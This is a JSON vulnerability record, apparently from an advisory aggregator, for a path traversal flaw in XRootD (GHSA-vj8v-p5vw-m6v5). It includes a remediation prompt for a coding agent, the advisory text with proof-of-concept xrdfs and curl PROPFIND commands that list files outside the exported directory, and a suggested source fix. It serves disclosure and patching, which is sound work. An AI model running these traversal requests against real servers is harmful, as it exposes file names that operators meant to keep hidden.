{"answers":{"affected":"2 open source packages ship an affected version, including xrootd.","exploited":"There is no known exploitation of GHSA-vj8v-p5vw-m6v5 in the wild and no public exploit code.","fix":"Upgrade xrootd to 5.9.2 or later.","what":"GHSA-vj8v-p5vw-m6v5 is a path traversal vulnerability in xrootd, published on 10 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-vj8v-p5vw-m6v5 and fix it if it is affected.\n\nWhat it is: GHSA-vj8v-p5vw-m6v5 is a path traversal vulnerability in xrootd, published on 10 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-vj8v-p5vw-m6v5 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- xrootd (PyPI): affected all versions; fixed in 5.9.2\n- xrootd (PyPI): affected all versions; fixed in 5.9.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/ (Markdown: https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/index.md)","id":"GHSA-vj8v-p5vw-m6v5","markdown":"https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/index.md","name":"GHSA-vj8v-p5vw-m6v5","record":{"aliases":[],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"XRootD server","requires_auth":"none","summary":"Attackers can bypass directory export restrictions to list parent directory contents via path traversal in XRootD.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n├── alice/       ← only exported directory\n├── bob/         ← not exported\n└── secret.txt   ← not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003e ls /\n[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003els /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND 'http://\u003cxrootd-server\u003e:1094/alice/..' \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://\u003cxrootd-server\u003e/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == '.' \u0026\u0026 fn[1] == '.' \u0026\u0026 fn[2] == '/') return 1;\n\n// After\nif (fn[0] == '.' \u0026\u0026 fn[1] == '.' \u0026\u0026 (fn[2] == '/' || fn[2] == '\\0')) return 1;\n```","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern","id":"GHSA-vj8v-p5vw-m6v5","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"path_traversal","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["5.9.2"],"introduced":["0"],"last_affected":[],"package":"xrootd","purl":null,"source":"GHSA-vj8v-p5vw-m6v5"},{"ecosystem":"PyPI","fixed":["5.9.2"],"introduced":["0"],"last_affected":[],"package":"xrootd","purl":"pkg:pypi/xrootd","source":"GHSA-vj8v-p5vw-m6v5"}],"products":null,"published":"2026-04-10","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can bypass directory export restrictions to list parent directory contents via path traversal in XRootD.","url":"https://insights.sbomify.com/GHSA-vj8v-p5vw-m6v5/"}